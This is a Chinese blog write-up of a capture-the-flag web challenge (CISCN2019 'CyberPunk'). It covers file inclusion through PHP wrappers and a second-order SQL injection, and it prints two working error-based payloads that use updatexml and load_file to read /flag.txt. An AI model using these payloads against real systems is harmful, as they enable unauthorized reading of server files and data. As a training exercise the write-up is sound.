刷题笔记:[CISCN2019 华北赛区 Day1 Web5]CyberPunk


前言

关键字:[cyberpunk|2077]

又是一道一年前做过的题,翻了翻当时的笔记,折腾了很久,没做出来。

看了看wp,才知道flag在/flag.txt下面,之前一直在用错显爆数据库

题解

1.文件包含

首先在注释里发现<!--?file=?-->,文件包含下,加上伪协议,把几个文件源码爆出来,慢慢看。

过滤的很死,但在change.php里没有对address进行正则检测,sql语句里还对旧address进行查询,所以漏洞就出在这。

$sql = "update `user` set `address`='" . $address . "', `old_address`='" . $row['address'] . "' where `user_id`=" . $row['user_id'];

逻辑梳理:address打入注入代码=>第二次正常运行触发注入代码

2.SQL注入

因为有 print_r($db->error);,所以错显读取flag,至于怎么知道flag在/flag.txt,暂时不明

payload:

&address=1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
&address=1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

一个账户执行执行一个payload,因为之前打入的注入代码破坏了正常逻辑,导致无法正常更新数据,所以注入代码就一直是同一句。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录